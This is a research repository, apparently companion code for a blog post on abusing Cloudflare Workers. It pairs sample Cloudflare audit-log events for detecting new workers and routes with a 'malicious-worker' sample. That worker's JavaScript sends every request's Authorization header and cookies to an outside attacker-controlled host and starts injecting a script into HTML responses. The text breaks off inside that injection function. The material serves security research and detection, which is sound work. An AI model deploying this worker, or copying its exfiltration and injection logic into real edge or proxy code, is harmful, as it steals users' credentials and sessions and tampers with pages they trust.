├── README.md
├── audit-logs
├── README.md
├── others
│ ├── api_key_created.json
│ ├── api_key_view.json
│ ├── login.json
│ ├── token_create.json
│ └── token_roll.json
└── workers
│ ├── rec_add.json
│ ├── route_create.json
│ └── script_create.json
└── malicious-worker
├── README.md
├── worker.js
└── wrangler.toml
/README.md:
--------------------------------------------------------------------------------
1 | # Abusing Cloudflare Workers
2 |
3 | This repository contains companion code for the blog post **[MITM at the Edge: Abusing Cloudflare Workers](https://blog.christophetd.fr/abusing-cloudflare-workers/)**.
4 |
5 | - [malicious-worker/](./malicious-worker/) contains sample code of a malicious Cloudflare Worker that can be used to exfiltrate data transparently on every request
6 |
7 | - [audit-logs/](./audit-logs/) contains sample Cloudflare control plane audit logs that enables to detect the creation of new workers and associations to routes or DNS entries.
--------------------------------------------------------------------------------
/audit-logs/README.md:
--------------------------------------------------------------------------------
1 | # Sample Cloudflare audit logs
2 |
3 | This folder contains sample events from Cloudflare control plane audit logs.
4 |
5 | ## Events related to Workers
6 |
7 | | **Event** | **Event code** |
8 | |:-----------------------------:|:--------------:|
9 | | A new Worker was created | [script_create](./workers/script_create.json) |
10 | | A Worker was bound to a route | [route_create](./workers/route_create.json) |
11 | | A DNS record was created | [rec_add](./workers/rec_add.json) |
12 |
13 | ## Other events
14 |
15 | | **Event** | **Event code** |
16 | |:-----------------------------------------------------:|:--------------:|
17 | | Successful authentication to the Cloudflare dashboard | [login](./others/login.json) |
18 | | The account-wide API token was viewed | [API_key_view](./others/API_key_view.json) |
19 | | An user API token was created (and viewed) | [token_create](./others/token_create.json) |
20 | | An user API token was rotated (and viewed) | [token_roll](./others/token_roll.json) |
--------------------------------------------------------------------------------
/audit-logs/others/api_key_created.json:
--------------------------------------------------------------------------------
1 | {
2 | "action": {
3 | "result": true,
4 | "type": "API_key_created"
5 | },
6 | "actor": {
7 | "email": "user@domain.tld",
8 | "id": "46915413f73c5f07ddbdab094dae5ebe",
9 | "ip": "178.39.178.39",
10 | "type": "user"
11 | },
12 | "id": "c694bd8f-0c9d-5097-be96-359fc24b4717",
13 | "interface": "",
14 | "metadata": {},
15 | "newValue": "",
16 | "oldValue": "",
17 | "owner": {
18 | "id": "5f79d6751a81f7afe15900a6adfc063b"
19 | },
20 | "resource": {
21 | "id": "1aadb749c66cdd13c6445bee6e9c3ee0ff1ea1e152ca435f6d1f898683de5964",
22 | "type": "api_key"
23 | },
24 | "when": "2022-06-27T22:28:11Z"
25 | }
--------------------------------------------------------------------------------
/audit-logs/others/api_key_view.json:
--------------------------------------------------------------------------------
1 | {
2 | "action": {
3 | "result": true,
4 | "type": "API_key_view"
5 | },
6 | "actor": {
7 | "email": "user@domain.tld",
8 | "id": "46915413f73c5f07ddbdab094dae5ebe",
9 | "ip": "178.39.178.39",
10 | "type": "user"
11 | },
12 | "id": "6dfd4440-f28c-49b8-b7a6-7b4dc7d2a049",
13 | "interface": "",
14 | "metadata": {},
15 | "newValue": "",
16 | "oldValue": "",
17 | "owner": {
18 | "id": "46915413f73c5f07ddbdab094dae5ebe"
19 | },
20 | "resource": {
21 | "id": "46915413f73c5f07ddbdab094dae5ebe",
22 | "type": "user"
23 | },
24 | "when": "2022-06-27T22:28:30Z"
25 | }
--------------------------------------------------------------------------------
/audit-logs/others/login.json:
--------------------------------------------------------------------------------
1 | {
2 | "action": {
3 | "result": true,
4 | "type": "login"
5 | },
6 | "actor": {
7 | "email": "user@domain.tld",
8 | "id": "46915413f73c5f07ddbdab094dae5ebe",
9 | "ip": "178.39.178.39",
10 | "type": "user"
11 | },
12 | "id": "0af90cdc-fc1b-5388-801e-7b844860296a",
13 | "interface": "",
14 | "metadata": {},
15 | "newValue": "",
16 | "oldValue": "",
17 | "owner": {
18 | "id": "46915413f73c5f07ddbdab094dae5ebe"
19 | },
20 | "resource": {
21 | "id": "46915413f73c5f07ddbdab094dae5ebe",
22 | "type": "account"
23 | },
24 | "when": "2022-06-27T22:43:23Z"
25 | }
--------------------------------------------------------------------------------
/audit-logs/others/token_create.json:
--------------------------------------------------------------------------------
1 | {
2 | "action": {
3 | "result": true,
4 | "type": "token_create"
5 | },
6 | "actor": {
7 | "email": "user@domain.tld",
8 | "id": "46915413f73c5f07ddbdab094dae5ebe",
9 | "ip": "178.39.178.39",
10 | "type": "user"
11 | },
12 | "id": "e69d7dd1-a62f-4a9b-b437-4c87d30751e4",
13 | "interface": "",
14 | "metadata": {
15 | "token_name": "my-token",
16 | "token_tag": "f5f867b308c80eab754bc220e265b6a4"
17 | },
18 | "newValue": "",
19 | "oldValue": "",
20 | "owner": {
21 | "id": "46915413f73c5f07ddbdab094dae5ebe"
22 | },
23 | "resource": {
24 | "id": "46915413f73c5f07ddbdab094dae5ebe",
25 | "type": "account"
26 | },
27 | "when": "2022-06-27T22:23:32Z"
28 | }
--------------------------------------------------------------------------------
/audit-logs/others/token_roll.json:
--------------------------------------------------------------------------------
1 | {
2 | "action": {
3 | "result": true,
4 | "type": "token_roll"
5 | },
6 | "actor": {
7 | "email": "user@domain.tld",
8 | "id": "46915413f73c5f07ddbdab094dae5ebe",
9 | "ip": "178.39.178.39",
10 | "type": "user"
11 | },
12 | "id": "53168826-4687-453d-a5a4-4283d6460938",
13 | "interface": "",
14 | "metadata": {
15 | "new_token_hash": "8d735676fe0bde3d46ede61e93934d65888fb56026a7b845540e9922dfc0d2e8",
16 | "old_token_hash": "8ffd9fc181f2858387422c4f93c4854c8486d4feba1b3088737b4cb137516175",
17 | "token_name": "my-token",
18 | "token_tag": "f5f867b308c80eab754bc220e265b6a4"
19 | },
20 | "newValue": "",
21 | "oldValue": "",
22 | "owner": {
23 | "id": "46915413f73c5f07ddbdab094dae5ebe"
24 | },
25 | "resource": {
26 | "id": "46915413f73c5f07ddbdab094dae5ebe",
27 | "type": "account"
28 | },
29 | "when": "2022-06-28T22:28:48Z"
30 | }
--------------------------------------------------------------------------------
/audit-logs/workers/rec_add.json:
--------------------------------------------------------------------------------
1 | {
2 | "action": {
3 | "result": true,
4 | "type": "rec_add"
5 | },
6 | "actor": {
7 | "id": "1",
8 | "type": "system"
9 | },
10 | "id": "7ea35431-f07f-469c-9083-3a1bd2e21b3d",
11 | "interface": "API",
12 | "metadata": {
13 | "zone_name": "somewhereinthe.cloud"
14 | },
15 | "newValue": "",
16 | "newValueJson": {
17 | "content": "100::",
18 | "id": "a8cac933cb71837d8c9d3042c9fe715b",
19 | "name": "somewhereinthe.cloud",
20 | "proxied": true,
21 | "ttl": 1,
22 | "type": "AAAA",
23 | "zone_name": "somewhereinthe.cloud"
24 | },
25 | "oldValue": "",
26 | "owner": {
27 | "id": "5f79d6751a81f7afe15900a6adfc063b"
28 | },
29 | "resource": {
30 | "id": "13636593034",
31 | "type": "DNS_record"
32 | },
33 | "when": "2022-06-27T22:42:51.989032Z"
34 | }
--------------------------------------------------------------------------------
/audit-logs/workers/route_create.json:
--------------------------------------------------------------------------------
1 | {
2 | "action": {
3 | "info": "Created route '*somewhereinthe.cloud/*' with script my-malicious-worker",
4 | "result": true,
5 | "type": "route_create"
6 | },
7 | "actor": {
8 | "email": "user@domain.tld",
9 | "id": "43232371",
10 | "ip": "178.39.178.39",
11 | "type": "user"
12 | },
13 | "id": "39773e66-5f2a-48e1-8891-b009b3930500",
14 | "interface": "",
15 | "metadata": {
16 | "pattern": "somewhereinthe.cloud/welcome",
17 | "script_name": "my-malicious-worker"
18 | },
19 | "newValue": "",
20 | "oldValue": "",
21 | "owner": {
22 | "id": "5f79d6751a81f7afe15900a6adfc063b"
23 | },
24 | "resource": {
25 | "id": "e0b80dd5e5e04ad1b5c3a59bd287f679",
26 | "type": "route"
27 | },
28 | "when": "2022-06-27T22:43:42.467248Z"
29 | }
--------------------------------------------------------------------------------
/audit-logs/workers/script_create.json:
--------------------------------------------------------------------------------
1 | {
2 | "action": {
3 | "info": "Created script my-malicious-worker",
4 | "result": true,
5 | "type": "script_create"
6 | },
7 | "actor": {
8 | "email": "user@domain.tld",
9 | "id": "43232371",
10 | "ip": "178.39.178.39",
11 | "type": "user"
12 | },
13 | "id": "92ed67fc-0cac-42c8-a5ff-e498c5e5341f",
14 | "interface": "",
15 | "metadata": {
16 | "script_tag": "ca56116bc64c4d57995e73725c8b3ea0",
17 | "version_tag": "3b40a02f5d114c04a7cc19d6d685a6c5"
18 | },
19 | "newValue": "",
20 | "oldValue": "",
21 | "owner": {
22 | "id": "5f79d6751a81f7afe15900a6adfc063b"
23 | },
24 | "resource": {
25 | "id": "my-malicious-worker",
26 | "type": "script"
27 | },
28 | "when": "2022-06-27T22:25:05.437873Z"
29 | }
--------------------------------------------------------------------------------
/malicious-worker/README.md:
--------------------------------------------------------------------------------
1 | # Sample malicious Cloudflare Worker
2 |
3 | This sample Worker will:
4 |
5 | * Exfiltrate any `Authorization` and `Cookie` headers to a remote, attacker-controlled server
6 | * Inject a malicious JavaScript script in all HTML responses
7 |
8 | ## Deploying
9 |
10 | Using the [Wrangler CLI](https://developers.cloudflare.com/workers/wrangler/get-started/):
11 |
12 | ```bash
13 | wrangler publish worker.js
14 | ```
--------------------------------------------------------------------------------
/malicious-worker/worker.js:
--------------------------------------------------------------------------------
1 | addEventListener('fetch', event => {
2 | event.respondWith(handleRequest(event, event.request));
3 | });
4 |
5 | // Main request handler
6 | async function handleRequest(event, request) {
7 | await stealAuthorizationHeader(request);
8 |
9 | response = await fetch(request);
10 |
11 | modifiedResponse = await injectMaliciousScript(response);
12 | await stealCookies(request, response);
13 |
14 | return modifiedResponse;
15 | }
16 |
17 | // Utility function to exfiltrate data to an attacker-controlled server
18 | async function log(data) {
19 | // Note: don't use a hardcoded IP, Cloudflare blocks direct IP access for outbound connections
20 | await fetch("http://46.101.191.103.nip.io/log/" + btoa(data));
21 | }
22 |
23 | // Exfiltrates Authorization headers
24 | async function stealAuthorizationHeader(request) {
25 | const authz = request.headers.get("Authorization")
26 | if (authz) {
27 | await log(`authorization header: ${authz}`)
28 | }
29 | }
30 |
31 | // Exfiltrates cookies
32 | async function stealCookies(request, response) {
33 | cookies = response.headers.get("Set-Cookie")
34 | if (cookies) {
35 | await log(`cookies sent by server: ${cookies}`);
36 | }
37 |
38 | cookies = request.headers.get("Cookie")
39 | if (cookies) {
40 | await log(`cookies sent by client: ${cookies}`);
41 | }
42 | }
43 |
44 | // Injects a malicious Javascript script in HTML responses
45 | async function injectMaliciousScript(originalResponse) {
46 | // Only inject our script in HTML responses
47 | if (!originalResponse.headers.get("Content-Type").includes("html")) {
48 | return originalResponse;
49 | }
50 |
51 | originalHtml = await originalResponse.text();
52 |
53 | // Malicious script to inject
54 | const script = `
55 |
56 |
66 | `
67 | modifiedHtml = originalHtml.replace("